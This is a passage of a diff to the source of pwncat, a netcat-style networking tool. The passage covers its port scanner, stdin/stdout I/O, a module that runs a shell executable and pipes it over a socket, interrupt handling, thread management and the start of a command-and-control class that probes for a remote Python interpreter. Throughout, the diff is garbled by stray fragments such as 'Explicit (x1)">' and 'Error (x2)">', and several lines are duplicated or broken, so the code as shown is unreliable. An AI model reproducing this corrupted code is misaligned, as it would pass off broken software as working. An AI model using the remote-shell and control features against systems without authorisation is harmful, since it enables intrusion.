      0.1, ) # Append local binds (addr-port) to check against during port scan - self.__local_binds.append(str(laddr + "-" + str(lport))) - succ_conn = True + key = str(laddr + "-" + str(lport)) + self.__local_binds[key] = sock except socket.error: - succ_conn = False + self.__sock.close(sock, "[-] closed: {}:{}".format(addr, port)) + continue + + # [4/7] False positives + # Connect was successful, but against a local bind of one of our + # port scanners, so this is a false positive. + if str(addr + "-" + str(port)) in self.__local_binds: + self.__sock.close(sock, "[-] closed: {}:{}".format(addr, port)) + del self.__local_binds[key] + continue - # [3/5] Banner grabbing + # [5/7] Banner grabbing succ_banner = True banner = None if self.__banner: (succ_banner, banner) = self.__get_banner(sock, addr, port) - # [4/5] Evaluation - if banner is not None and (succ_conn and succ_banner): + # [6/7] Evaluation + if banner is not None and succ_banner: + msg = "[+] {:>5}/{} open ({}): {}".format( if str(addr + "-" + str(port)) not in self.__local_binds: - sock_type = sock.type - yield "[+] {:>5}/{} open ({}): {}".format( +Explicit (x1)"> port, + self.__sock.get_type_name(sock_type), + self.__sock.get_family_name(family), + banner, + ) + yield self.__enc.encode(msg) + if banner is None and succ_banner: + msg = "[+] {:>5}/{} open ({})".format( port, - self.__sock.get_type_name(sock_type), - self.__sock.get_family_name(family), - banner, - ) - if banner is None and (succ_conn and succ_banner): - if str(addr + "-" + str(port)) not in self.__local_binds: - sock_type = sock.type - yield "[+] {:>5}/{} open ({})".format( - port, - self.__sock.get_type_name(sock_type), - self.__sock.get_family_name(family), - ) +Explicit (x1)"> port, self.__sock.get_type_name(sock_type), self.__sock.get_family_name(family), + ) + yield self.__enc.encode(msg) - # [5/5] Cleanup - self.__sock.close(sock, addr + "-" + str(port)) - try: - self.__local_binds.remove(str(addr + "-" + str(port))) - except ValueError: - pass + # [7/7] Cleanup + self.__sock.close(sock, key) + del self.__local_binds[key] def consumer(self, data): - # type: (str) -> None + # type: (bytes) -> None """Print received data to stdout.""" # For issues with flush (when using tail -F or equal) see links below: # https://stackoverflow.com/questions/26692284 # https://docs.python.org/3/library/signal.html#note-on-sigpipe self.__screen_lock.acquire() - print(data) + print(StringEncoder.decode(data)) try: sys.stdout.flush() - except (BrokenPipeError, IOError): + except IOError: # Python flushes standard streams on exit; redirect remaining output - # to devnull to avoid another BrokenPipeError at shutdown + # to devnull to avoid another broken pipe at shutdown devnull = os.open(os.devnull, os.O_WRONLY) os.dup2(devnull, sys.stdout.fileno()) @@ -8531,8 +9924,21 @@

      pwncat

      self.__screen_lock.release() def interrupt(self): - # type: (str) -> None - """Not required.""" + # type: () -> None + """Stop function that can be called externally to close this instance.""" + self.log.trace("SOCK-QUIT signal RAISED in IONetworkScanner.interrupt") # type: ignore + self.ssig.raise_sock_quit() + + # NOTE: Closing up to 65535 sockets (single thread) takes very very long + # Se we leave this up to Python itself, once the program exits. + # self.log.trace("SOCK-QUIT-CLEANUP: Closing sockets") # type: ignore + # # Double loop to prevent: Dictionary size changed during iteration + # remove = {} + # for key in self.__local_binds: + # remove[key] = self.__local_binds[key] + # for key in remove: + # self.__sock.close(remove[key], key) # ------------------------------------------------------------------------------------------------- @@ -8550,36 +9956,50 @@

      pwncat

      # Constructor / Destructor # -------------------------------------------------------------------------- def __init__(self, ssig, opts): - # type: (StopSignal, DsIOStdinStdout) -> None + # type: (InterruptHandler, DsIOStdinStdout) -> None """Set specific options for this I/O module. Args: - ssig (StopSignal): StopSignal instance. + ssig (InterruptHandler): InterruptHandler instance. opts (DsIOStdinStdout): IO options. """ super(IOStdinStdout, self).__init__(ssig) self.__opts = opts self.__py3 = sys.version_info >= (3, 0) # type: bool self.__win = os.name != "posix" # posix or nt + self.__stdout_isatty = sys.stdout.isatty() + self.__stdin_isatty = sys.stdin.isatty() + + self.log.debug("STDOUT isatty: %s", self.__stdout_isatty) + self.log.debug("STDIN isatty: %s", self.__stdin_isatty) + self.log.debug("STDIN posix: %s (%s)", str(self.__win), os.name) # -------------------------------------------------------------------------- # Public Functions # -------------------------------------------------------------------------- def producer(self, *args, **kwargs): - # type: (Any, Any) -> Iterator[str] + # type: (Any, Any) -> Iterator[bytes] """Constantly ask for user input. Yields: str: Data read from stdin. """ + # On --send-on-eof we will return all of its contents at once: + lines = [] + # https://stackoverflow.com/questions/1450393/#38670261 # while True: line = sys.stdin.readline() <- reads a whole line (faster) # for line in sys.stdin.readlin(): <- reads one byte at a time while True: - if self.ssig.has_stop(): + if self.ssig.has_stdin_quit(): self.log.trace("Stop signal acknowledged for reading STDIN-1") # type: ignore +Error (x2)"> self.log.trace( # type: ignore + "STDIN-QUIT signal ACK in IOStdinStdout.producer [1]" + ) return try: data = self.__read_stdin() @@ -8587,9 +10007,11 @@

      pwncat

      # When using select() with timeout, we don't have any input # at this point and simply continue the loop or quit if # a terminate request has been made by other threads. - if self.ssig.has_stop(): + if self.ssig.has_stdin_quit(): self.log.trace("Stop signal acknowledged for reading STDIN-2") # type: ignore +Error (x2)"> self.log.trace( # type: ignore + "STDIN-QUIT signal ACK in IOStdinStdout.producer [2]" + ) return continue if data: @@ -8597,27 +10019,36 @@

      pwncat

      Explicit (x4)"> self.log.debug("Received %d bytes from STDIN", len(data)) self.log.trace("Received: %s", repr(data)) # type: ignore - yield data + # [send-on-eof] Append data + if self.__opts.send_on_eof: + lines.append(data) + else: + yield data # EOF or <Ctrl>+<d> else: - # DO NOT RETURN HERE BLINDLY, THE UPSTREAM CONNECTION MUST GO FIRST! - if self.ssig.has_stop(): + # [send-on-eof] Dump data before quitting + if lines and self.__opts.send_on_eof: + yield StringEncoder.encode("").join(lines) self.log.trace("Stop signal acknowledged for reading STDIN-3") # type: ignore - return +Error (x2)"> self.log.trace("STDIN-EOF signal RAISE in IOStdinStdout.producer") # type: ignore + self.ssig.raise_stdin_eof() def consumer(self, data): - # type: (str) -> None + # type: (bytes) -> None """Print received data to stdout.""" - # For issues with flush (when using tail -F or equal) see links below: - # https://stackoverflow.com/questions/26692284 - # https://docs.python.org/3/library/signal.html#note-on-sigpipe - print(data, end="") + if self.__py3: + sys.stdout.buffer.write(data) + else: + # For issues with flush (when using tail -F or equal) see links below: + # https://stackoverflow.com/questions/26692284 + # https://docs.python.org/3/library/signal.html#note-on-sigpipe + print(data, end="") + try: sys.stdout.flush() - except (BrokenPipeError, IOError): + except IOError: # Python flushes standard streams on exit; redirect remaining output - # to devnull to avoid another BrokenPipeError at shutdown + # to devnull to avoid another broken pipe at shutdown devnull = os.open(os.devnull, os.O_WRONLY) os.dup2(devnull, sys.stdout.fileno()) @@ -8625,13 +10056,10 @@

      pwncat

      def interrupt(self): # type: () -> None """Stop function that can be called externally to close this instance.""" + # TODO: Does not work on windows as it has blocking read of stdin self.log.trace( # type: ignore - "[IOStdinStdout] interrupt() invoked" - ) - # Raise stop signal - # TODO: Check if this is required??? - self.ssig.raise_stop() +Error (x2)"> self.log.trace("STDIN-QUIT signal RAISE in IOStdinStdout.interrupt") # type: ignore + self.ssig.raise_stdin_quit() # -------------------------------------------------------------------------- # Private Functions @@ -8668,39 +10096,35 @@

      pwncat

      return mode[tty.LFLAG] != (mode[tty.LFLAG] | termios.ICANON) # type: ignore def __read_stdin(self): - # type: () -> str + # type: () -> bytes """Returns input from STDIN.""" - # (Windows) + # [1/3] (Windows) Normal/Raw mode if self.__win: + if self.__py3: + return sys.stdin.buffer.read() # Python 2 on Windows opens sys.stdin in text mode, and # binary data that read from it becomes corrupted on \r\n. # Setting sys.stdin to binary mode fixes that. - if not self.__py3: if hasattr(os, "O_BINARY"): +Explicit (x1)"> if hasattr(os, "O_BINARY"): msvcrt.setmode( # type: ignore - sys.stdin.fileno(), os.O_BINARY, # pylint: disable=no-member - ) - return sys.stdin.readline() +Error (x2)"> msvcrt.setmode( # type: ignore + sys.stdin.fileno(), os.O_BINARY, # pylint: disable=no-member + ) + return sys.stdin.read() # type: ignore - # (Linux/Mac) Raw mode + # [2/3] (Linux/Mac) Raw mode if self.__stdin_israw(): self.__set_input_timeout() - return sys.stdin.read(1) - # if self.__py3: - # return sys.stdin.buffer.read(1) # (bytes) - # return sys.stdin.read(1) - # else: - # return sys.stdin.read(1) - - # (Linux/Mac) Normal mode + if self.__py3: + return sys.stdin.buffer.read(1) + return sys.stdin.read(1) # type: ignore + + # [3/3] (Linux/Mac) Normal mode self.__set_input_timeout() - return sys.stdin.readline() - # if self.__py3: - # return sys.stdin.buffer.readline() # (bytes) - # else: - # return sys.stdin.readline() + if self.__py3: + return sys.stdin.buffer.readline() + return sys.stdin.readline() # type: ignore # ------------------------------------------------------------------------------------------------- @@ -8717,11 +10141,11 @@

      pwncat

      # Constructor / Destructor # -------------------------------------------------------------------------- def __init__(self, ssig, opts): - # type: (StopSignal, DsIOCommand) -> None + # type: (InterruptHandler, DsIOCommand) -> None """Set specific options for this I/O module. Args: - ssig (StopSignal): Instance of StopSignal. + ssig (InterruptHandler): Instance of InterruptHandler. opts (DsIOCommand): Custom module options. """ super(IOCommand, self).__init__(ssig) @@ -8729,9 +10153,14 @@

      pwncat

      self.log.debug("Setting '%s' as executable", self.__opts.executable) - # Define destructor - atexit.register(self.__destruct__) + # Did we already run cleanup + self.__cleaned_up = False + + # If we receive only one byte at a time, the remote end is most likely + # in raw mode and we will also start sending one byte at a time. + # This will be determined in the consumer and action is taken in + # the producer. + self.__remote_is_raw = False # Open executable to wait for commands env = os.environ.copy() @@ -8757,21 +10186,12 @@

      pwncat

      Explicit (x4)"> self.log.error("Specified executable '%s' not found", self.__opts.executable) sys.exit(1) - def __destruct__(self): - # type: () -> None - """Destructor.""" - self.log.trace( # type: ignore - "Killing executable: %s with pid %d", self.__opts.executable, self.proc.pid - ) - self.proc.kill() - # -------------------------------------------------------------------------- # Public Functions # -------------------------------------------------------------------------- def producer(self, *args, **kwargs): - # type: (Any, Any) -> Iterator[str] + # type: (Any, Any) -> Iterator[bytes] """Constantly ask for input. Yields: @@ -8779,49 +10199,90 @@

      pwncat

      """ assert self.proc.stdout is not None while True: - if self.ssig.has_stop(): + if self.ssig.has_command_quit(): self.log.trace("Stop signal acknowledged in Command") # type: ignore +Error (x2)"> self.log.trace("COMMAND-QUIT signal ACK IOCommand.producer (1)") # type: ignore + self.__cleanup() return self.log.trace("Reading command output") # type: ignore # Byte-wise reading is required to make it work for remote ends being in raw mode # However, the performance of self.proc.stdout.readline() is way faster. # To improve performance we will get rid of all other logging calls here. - data = self.proc.stdout.read(1) + if self.__remote_is_raw: + data = self.proc.stdout.read(1) + else: + data = self.proc.stdout.readline() self.log.trace("Command output: %s", repr(data)) # type: ignore if not data: + if self.ssig.has_command_quit(): self.log.trace("Command output was empty. Exiting loop.") # type: ignore - break - yield self.__opts.enc.decode(data) +Error (x2)"> self.log.trace("COMMAND-QUIT signal ACK IOCommand.producer (2)") # type: ignore + self.__cleanup() + return + # This usually happens when sending a semicolon only to /bin/[ba]sh + # which then responds with: /bin/sh: line 5: syntax error near unexpected token `;' + # Afterwards the shell is corrupt and gone so we will restart it here. + self.log.error("COMMAND-EOF restarting: %s", self.__opts.executable) + self.proc = Popen( + self.__opts.executable, + stdin=PIPE, + stdout=PIPE, + stderr=STDOUT, + bufsize=self.__opts.bufsize, + shell=False, + env=os.environ.copy(), + ) + continue + yield data def consumer(self, data): - # type: (str) -> None + # type: (bytes) -> None """Send data received to stdin (command input). Args: data (str): Command to execute. """ + # If we only receive one byte at a time, also tell the consumer + # to send one byte at a time immediately and not to wait for a full line. + if len(data) == 1: + self.__remote_is_raw = True + else: + self.__remote_is_raw = False + assert self.proc.stdin is not None - byte = self.__opts.enc.encode(data) self.log.trace("Appending to stdin: %s", repr(byte)) # type: ignore - self.proc.stdin.write(byte) - self.proc.stdin.flush() +Error (x2)"> self.log.trace("Appending to stdin: %s", repr(data)) # type: ignore + try: + self.proc.stdin.write(data) + self.proc.stdin.flush() + except BrokenPipeError: + pass def interrupt(self): # type: () -> None """Stop function that can be called externally to close this instance.""" self.log.trace( # type: ignore - "[IOCommand] subprocess.kill() was raised by input_unterrupter()" - ) - self.proc.kill() - # Raise stop signal - # TODO: Check if this is required??? - self.ssig.raise_stop() +Error (x2)"> self.log.trace("COMMAND-QUIT signal RAISED IOCommand.interrupt") # type: ignore + self.ssig.raise_command_quit() + self.__cleanup() + + def __cleanup(self): + # type: () -> None + """Cleanup function.""" + if not self.__cleaned_up: + self.log.trace( # type: ignore + "COMMAND-QUIT-CLEANUP: killing executable: %s with pid %d", + self.__opts.executable, + self.proc.pid, + ) + self.proc.kill() + self.__cleaned_up = True # ################################################################################################# @@ -8841,18 +10302,18 @@

      pwncat

      The same instance of this class will be available to your send and receive scripts that allow you to exchange data or manipulate themselves. You even have access to the currently used instance of the networking class to manipulate the active socket. - As well as to the logger and StopSignal instances. + As well as to the logger and InterruptHandler instances. """ @property def messages(self): - # type: () -> Dict[str, List[str]] - """`Dict[str, List[str]]`: Stores sent and received messages by its thread name.""" + # type: () -> Dict[str, List[bytes]] + """`Dict[str, List[bytes]]`: Stores sent and received messages by its thread name.""" return self.__messages @messages.setter def messages(self, value): - # type: (Dict[str, List[str]]) -> None + # type: (Dict[str, List[bytes]]) -> None self.__messages = value @property @@ -8872,8 +10333,8 @@

      pwncat

      @property def ssig(self): - # type: () -> StopSignal - """`StopSignal`: Instance of Logging.logger class.""" + # type: () -> InterruptHandler + """`InterruptHandler`: Instance of InterruptHandler class.""" return self.__ssig @property @@ -8889,11 +10350,11 @@

      pwncat

      return self.__log def __init__(self, ssig, net): - # type: (StopSignal, List[IONetwork]) -> None + # type: (InterruptHandler, List[IONetwork]) -> None """Instantiate the PSE class. Args: - ssig (StopSignal): Instance of the StopSignal class to force a shutdown. + ssig (InterruptHandler): Instance InterruptHandler. net (IONetwork): Instance of the current network class to manipulate the socket. """ self.__messages = {} @@ -8913,7 +10374,161 @@

      pwncat

      # ################################################################################################# # ------------------------------------------------------------------------------------------------- -# [8/11 IO RUNNER]: (1/1) Runner +# [8/11 IO RUNNER]: (1/2) InterruptHandler +# ------------------------------------------------------------------------------------------------- +class InterruptHandler(object): + """Pwncat interrupt handler. + + It allows all threads to raise various signal on certain actions, + as well as to ask the Interrupt Handler what to do. + The Interrupt handler will internally decide (based on pwncat's + command line arguments) what to do. + """ + + # -------------------------------------------------------------------------- + # Constructor + # -------------------------------------------------------------------------- + def __init__(self, keep_open, no_shutdown): + # type: (bool, bool) -> None + """Instantiate InterruptHandler. + + Args: + keep_open (bool): `--keep-open` command line argument. + no_shutdown (bool): `--no-shutdown` command line argument. + """ + self.__log = logging.getLogger(__name__) # type: logging.Logger + self.__keep_open = keep_open + self.__no_shutdown = no_shutdown + + # Shutdown signals + self.__terminate = False + self.__sock_send_eof = False + self.__sock_quit = False + self.__stdin_quit = False + self.__command_quit = False + + # Producers have received EOF + self.__sock_eof = False + self.__stdin_eof = False + self.__command_eof = False + + def handler(signum, frame): # type: ignore # pylint: disable=unused-argument + self.__log.trace("Ctrl+c caught.") # type: ignore + # logging.shutdown() + self.raise_terminate() + + # Handle Ctrl+C + # signal.signal(signal.SIGTERM, handler) + signal.signal(signal.SIGINT, handler) + + # -------------------------------------------------------------------------- + # Ask for action + # -------------------------------------------------------------------------- + def has_terminate(self): + # type: () -> bool + """`bool`: Switch to be checked if pwncat should be terminated.""" + return self.__terminate + + def has_sock_send_eof(self): + # type: () -> bool + """`bool`: Switch to be checked if the socket connection should be closed for sending.""" + return self.__sock_send_eof + + def has_sock_quit(self): + # type: () -> bool + """`bool`: Switch to be checked if the socket connection should be closed.""" + return self.__sock_quit + + def has_stdin_quit(self): + # type: () -> bool + """`bool`: Switch to be checked if the STDIN should be closed.""" + return self.__stdin_quit + + def has_command_quit(self): + # type: () -> bool + """`bool`: Switch to be checked if the command should be closed.""" + return self.__command_quit + + # -------------------------------------------------------------------------- + # Raise Termination signal + # -------------------------------------------------------------------------- + def raise_terminate(self): + # type: () -> None + """Signal the application that Socket should be quit.""" + self.__log.trace("SIGNAL TERMINATE raised") # type: ignore + self.__terminate = True + self.__sock_quit = True + self.__stdin_quit = True + self.__command_quit = True + + # -------------------------------------------------------------------------- + # Raise Socket signals + # -------------------------------------------------------------------------- + def raise_sock_send_eof(self): + # type: () -> None + """Signal the application that Socket should be closed for sending.""" + # self.__log.trace("SIGNAL SOCK-CLOSE-SEND raised") # type: ignore + self.__sock_send_eof = True + + def raise_sock_eof(self): + # type: () -> None + """Signal the application that Socket has received EOF.""" + # self.__log.trace("SIGNAL SOCK-EOF raised") # type: ignore + self.__sock_eof = True + self.raise_sock_quit() + + def raise_sock_quit(self): + # type: () -> None + """Signal the application that Socket should be quit.""" + # self.__log.trace("SIGNAL SOCK-QUIT raised") # type: ignore + self.__sock_quit = True + self.raise_terminate() + + # -------------------------------------------------------------------------- + # Raise STDIN signals + # -------------------------------------------------------------------------- + def raise_stdin_eof(self): + # type: () -> None + """Signal the application that STDIN has received EOF.""" + # self.__log.trace("SIGNAL STDIN-EOF raised") # type: ignore + self.__stdin_eof = True + self.raise_stdin_quit() + + def raise_stdin_quit(self): + # type: () -> None + """Signal the application that STDIN should be quit.""" + # self.__log.trace("SIGNAL STDIN-QUIT raised") # type: ignore + self.__stdin_quit = True + # If --no-shutdown or -keep-open is specified + # pwncat will not invoke shutdown on a socket after seeing EOF on stdin + if not (self.__no_shutdown or self.__keep_open): + # No more data from stdin, we can tell the remote side we are done + # by closing the socket for sending (they will receive an EOF). + self.raise_sock_send_eof() + + # -------------------------------------------------------------------------- + # Raise COMMAND signals + # -------------------------------------------------------------------------- + def raise_command_eof(self): + # type: () -> None + """Signal the application that Command has received EOF.""" + # self.__log.trace("SIGNAL COMMAND-EOF raised") # type: ignore + self.__command_eof = True + self.raise_command_quit() + + def raise_command_quit(self): + # type: () -> None + """Signal the application that Command should be quit.""" + # self.__log.trace("SIGNAL COMMAND-QUIT raised") # type: ignore + self.__command_quit = True + self.raise_terminate() + + +# ------------------------------------------------------------------------------------------------- +# [8/11 IO RUNNER]: (2/2) Runner # ------------------------------------------------------------------------------------------------- class Runner(object): """Runner class that takes care about putting everything into threads.""" @@ -8921,11 +10536,13 @@

      pwncat

      # -------------------------------------------------------------------------- # Constructor / Destructor # -------------------------------------------------------------------------- - def __init__(self, pse): - # type: (PSEStore) -> None + def __init__(self, ssig, fast_quit, pse): + # type: (InterruptHandler, bool, PSEStore) -> None """Create a new Runner object. Args: + ssig (InterruptHandler): Instance of InterruptHandler. + fast_quit (boo): On `True` do not join threads upon exit, just raise terminate and exit. pse (PSEStore): Pwncat Scripting Engine store. """ self.log = logging.getLogger(__name__) @@ -8947,6 +10564,8 @@

      pwncat

      # {"name": "<thread>"} self.__threads = {} # type: Dict[str, threading.Thread] + self.__ssig = ssig + self.__fast_quit = fast_quit self.__pse = pse # -------------------------------------------------------------------------- @@ -8989,7 +10608,7 @@

      pwncat

      def run_action( name, # type: str producer, # type: DsCallableProducer - consumer, # type: Callable[[str], None] + consumer, # type: Callable[[bytes], None] transformers, # type: List[Transform] code, # type: Optional[Union[str, bytes, CodeType]] ): @@ -9048,15 +10667,15 @@

      pwncat

      Error (x2)"> self.log.trace("[%s] Producer Stop", name) # type: ignore def run_timer(name, action, intvl, ssig, args, **kwargs): - # type: (str, Callable[..., None], int, StopSignal, Any, Any) -> None +Explicit (x4)"> def run_timer(name, action, intvl, ssig, *args, **kwargs): + # type: (str, Callable[..., None], int, InterruptHandler, Any, Any) -> None """Timer run function to be thrown into a thread (Execs periodic tasks). Args: name (str): Name for logging output action (function): Function to be called in a given intervall intvl (float): Intervall at which the action function will be called - ssig (StopSignal): Providing has_stop() and raise_stop() + ssig (InterruptHandler): Instance of InterruptHandler args (*args): *args for action func kwargs (**kwargs): **kwargs for action func """ @@ -9064,9 +10683,11 @@

      pwncat

      Error (x2)"> self.log.trace("[%s] Timer Start (exec every %f sec)", name, intvl) # type: ignore time_last = int(time.time()) while True: - if ssig.has_stop(): + if ssig.has_terminate(): self.log.trace("Stop signal acknowledged for timer %s", name) # type: ignore +Error (x2)"> self.log.trace( # type: ignore + "TERMINATE signal ACK for timer action [%s]", name + ) return time_now = int(time.time()) if time_now > time_last + intvl: @@ -9078,8 +10699,8 @@

      pwncat

      time.sleep(0.1) def run_repeater(name, action, repeat, pause, ssig, args, **kwargs): - # type: (str, Callable[..., None], int, float, StopSignal, Any, Any) -> None +Explicit (x4)"> def run_repeater(name, action, repeat, pause, ssig, *args, **kwargs): + # type: (str, Callable[..., None], int, float, InterruptHandler, Any, Any) -> None """Repeater run function to be thrown into a thread (Execs periodic tasks). Args: @@ -9087,7 +10708,7 @@

      pwncat

      action (function): Function to be called repeat (int): Repeat the function so many times before quitting pause (float): Pause between repeated calls - ssig (StopSignal): Providing has_stop() and raise_stop() + ssig (InterruptHandler): Instance of InterruptHandler args (*args): *args for action func kwargs (**kwargs): **kwargs for action func """ @@ -9095,9 +10716,11 @@

      pwncat

      self.log.trace("Repeater Start (%d/%d)", cycles, repeat) # type: ignore while cycles <= repeat: - if ssig.has_stop(): + if ssig.has_terminate(): self.log.trace("Stop signal acknowledged for timer %s", name) # type: ignore +Error (x2)"> self.log.trace( # type: ignore + "TERMINATE signal ACK for repeater action [%s]", name + ) return self.log.debug("Executing repeated function (%d/%d)", cycles, repeat) @@ -9106,8 +10729,14 @@

      pwncat

      cycles += 1 time.sleep(pause) - # Start available action in a thread + # [1/3] Start available action in a thread for key in self.__actions: + if self.__ssig.has_terminate(): + self.log.trace( # type: ignore + "TERMINATE signal ACK for Runner.run [1]: [%s]", key + ) + break # Create Thread object thread = threading.Thread( @@ -9121,106 +10750,152 @@

      pwncat

      self.__actions[key].code, ), ) - thread.daemon = False + # Daemon threads are easier to kill + thread.daemon = self.__actions[key].daemon_thread + # Add delay if threads cannot be started + delay = 0.0 while True: + if self.__ssig.has_terminate(): + self.log.trace( # type: ignore + "TERMINATE signal ACK for Runner.run [2]: [%s]", key + ) + break try: + # Do not call any logging functions in here as it will + # cause a deadlock for Python2 + # Start and break the loop upon success to go to the next thread to start thread.start() break except (RuntimeError, Exception): # pylint: disable=broad-except - time.sleep(0.1) + delay += 0.1 + time.sleep(delay) # Give the system some time to release open fd's self.__threads[key] = thread - # Start available timers in a thread + + # [2/3] Start available timers in a thread for key in self.__timers: + if self.__ssig.has_terminate(): + self.log.trace( # type: ignore + "TERMINATE signal ACK for Runner.run [2]: [%s]", key + ) + break # Create Thread object thread = threading.Thread( target=run_timer, name=key, - args=( + args=( key, self.__timers[key].action, self.__timers[key].intvl, - self.__timers[key].signal, + self.__timers[key].ssig, + ) self.__timers[key].args, - ), +Explicit (x1)"> + self.__timers[key].args, kwargs=self.__timers[key].kwargs, ) thread.daemon = False thread.start() - # Start available repeaters in a thread + + # [3/3] Start available repeaters in a thread for key in self.__repeaters: + if self.__ssig.has_terminate(): + self.log.trace( # type: ignore + "TERMINATE signal ACK for Runner.run [3]: [%s]", key + ) + break # Create Thread object thread = threading.Thread( target=run_repeater, name=key, - args=( + args=( key, self.__repeaters[key].action, self.__repeaters[key].repeat, self.__repeaters[key].pause, - self.__repeaters[key].signal, + self.__repeaters[key].ssig, + ) self.__repeaters[key].args, - ), +Explicit (x1)"> + self.__repeaters[key].args, kwargs=self.__repeaters[key].kwargs, ) thread.daemon = False thread.start() - def check_stop(force): - # type: (int) -> bool + def check_stop(): + # type: () -> bool """Stop threads.""" - for key in self.__threads: - if not self.__threads[key].is_alive() or force: - # TODO: How are we gonna call the stop signal now? - # # [1/3] Inform all threads (inside) about a stop signal. - # # All threads with non-blocking funcs will be able to stop themselves - # self.log.trace( # type: ignore - # "Raise stop signal: StopSignal.stop() for thread [%s]", - # self.__threads[key].getName(), - # ) - # self.__actions[key].signal.raise_stop() - # [2/3] Call external interrupters - # These will shutdown all blocking functions inside a thread, - # so that they are actually able to join - for interrupt in self.__actions[key].interrupts: - self.log.trace( # type: ignore - "Call INTERRUPT: %s.%s() for %s", - getattr(interrupt, "__self__").__class__.__name__, - interrupt.__name__, - self.__threads[key].getName(), - ) - interrupt() - # [3/3] All blocking events inside the threads are gone, now join them + # [1/2] Fast shutdown + # For Python < 3.3 we are unable to detect Ctrl+c signal during thread.join() + # in a fast loop. Also for port-scan we will have thousands of threads that need + # to be joined and the signal handler is unable to abort the whole program during that + # time. Outcome is it would take a few minutes to abort during port scan. + # The fix is to use a "faster" method to kill the threads. + # 1. The port scanner threads need to be started in daemon mode + # 2. the fast_quit param to Runner() must be set to True + if self.__fast_quit: + if self.__ssig.has_terminate(): + self.log.trace("Fast quit - shutting down.") # type: ignore + return True + + # [2/2] Normal shutdown for non-daemon threads + else: + for key in self.__threads: + if not self.__threads[key].is_alive() or self.__ssig.has_terminate(): + for interrupt in self.__actions[key].interrupts: + # [1/3] Call external interrupters self.log.trace("Joining %s", self.__threads[key].getName()) # type: ignore - self.__threads[key].join(timeout=0.1) - # If all threads have died or force is requested, then exit - if not all([self.__threads[key].is_alive() for key in self.__threads]) or force: +Error (x2)"> self.log.trace( # type: ignore + "Call INTERRUPT: %s.%s() for %s", + getattr(interrupt, "__self__").__class__.__name__, + interrupt.__name__, + self.__threads[key].getName(), + ) + interrupt() + # [2/3] All blocking events inside the threads are gone, now join them + try: + self.log.trace( # type: ignore + "Joining %s", self.__threads[key].getName() + ) + # NOTE: The thread.join() operating will also block the signal + # handler if we try to join too many threads at once. + self.__threads[key].join() + self.log.trace( # type: ignore + "Joined %s", self.__threads[key].getName() + ) + except RuntimeError: + pass + # If all threads are done, also stop + if all([not self.__threads[key].is_alive() for key in self.__threads]): + self.log.trace("All threads dead - shutting down.") # type: ignore return True return False - try: - while True: - if check_stop(False): - sys.exit(0) - # Need a timeout to not skyrocket the CPU - time.sleep(0.1) - except KeyboardInterrupt: - print() - check_stop(True) - sys.exit(1) + while True: + if check_stop(): + sys.exit(0) + # Need a timeout to not skyrocket the CPU + if sys.version_info < (3, 3): + # Signal Handler in Python < 3.3 is broken and might not catch on + # a too small timeout invervall + time.sleep(0.5) + else: + time.sleep(0.01) # ################################################################################################# @@ -9232,13 +10907,19 @@

      pwncat

      # ################################################################################################# # ------------------------------------------------------------------------------------------------- -# [9/11 Command & Control]: (1/2) CNC +# [9/11 Command & Control]: (1/3) CNC Exception classes +# ------------------------------------------------------------------------------------------------- +class CNCPythonNotFound(BaseException): + """CNC Exception handler.""" + + +# ------------------------------------------------------------------------------------------------- +# [9/11 Command & Control]: (2/3) CNC # ------------------------------------------------------------------------------------------------- class CNC(object): """Command and Control base class.""" __PYTHON_PATHS = [ - "/bin", "/usr/bin", "/usr/local/bin", "/usr/local/python/bin", @@ -9249,6 +10930,7 @@

      pwncat

      "/usr/local/python3.6/bin", "/usr/local/python3.7/bin", "/usr/local/python3.8/bin", + "/bin", "/opt/bin", "/opt/python/bin", "/opt/python2/bin", @@ -9260,11 +10942,11 @@

      pwncat

      "/opt/python3.8/bin", ] - __PYTHON_VERSIONS = [ + __PYTHON_NAMES = [ + "python3", "python", "python2", "python2.7", - "python3", "python3.5", "python3.6", "python3.7", @@ -9277,42 +10959,61 @@

      pwncat

      # Properties # -------------------------------------------------------------------------- @property - def python(self): + def remote_python(self): # type: () -> str """Discovered absolute Python remote path.""" - return self.__python + return self.__remote_python @property - def py3(self): + def remote_py3(self): # type: () -> bool """Is remote version Python3? Else it is Python2.""" - return self.__py3 + return self.__remote_py3 # -------------------------------------------------------------------------- # Constructor # -------------------------------------------------------------------------- - def __init__(self, enc, fsend, frecv): - # type: (StringEncoder, Callable[[str], None], Callable[[], Iterator[str]]) -> None + def __init__(self, network): + # type: (IONetwork) -> None """Instantiate Command and Control class. Args: - enc (StringEncoder): Instance of StringEncoder (Python2/3 str/byte compat). - fsend (func): Socket send function. - frcev (func): Socket receive generator function. + network (IONetwork): Instance of IONetwork Raises: - FileNotFoundError: if remote Python binary path is not found. + CNCPythonNotFound: if remote Python binary path is not found. """ - self.__enc = enc - self.__fsend = fsend - self.__frecv = frecv + self.__net = network + self.__log = logging.getLogger(__name__) + self.__py3 = sys.version_info >= (3, 0) # type: bool + # Along with the response the server might prefix/suffix data + # such as a PS1 prompt (which might be send first or last with a newline) + self.__remote_prefix = [] # type: List[bytes] + self.__remote_suffix = [] # type: List[bytes] + + # Receive timeout value will be adjusted dynamically depending on the + # speed of the server. We'll start high to allow for slow servers. + self.__recv_timeout = 0.3 + self.__recv_rounds = 5 + self.__recv_times = [] # type: List[float] + + # [1/3] Check if there is data to be received first (e.g.: greeting) + self.print_info("Checking if remote sends greeting...") + greeting = self.send_recv(None, False, False) + if greeting: + self.print_raw(b"\n".join(greeting), True) + + # [2/3] Check if the remote sends a prefix with every reply + self.__set_remote_prefix() + + # [3/3] Find potential Python versions if not self.__set_remote_python_path(): self.print_info("No Python has been found. Aborting and handing over to current shell.") - raise FileNotFoundError() + raise CNCPythonNotFound() # -------------------------------------------------------------------------- - # Public Functions + # Print Functions # -------------------------------------------------------------------------- def print_info(self, message=None, newline=True, erase=False): # type: (Optional[str], bool, bool) -> None @@ -9336,15 +11037,275 @@

      pwncat

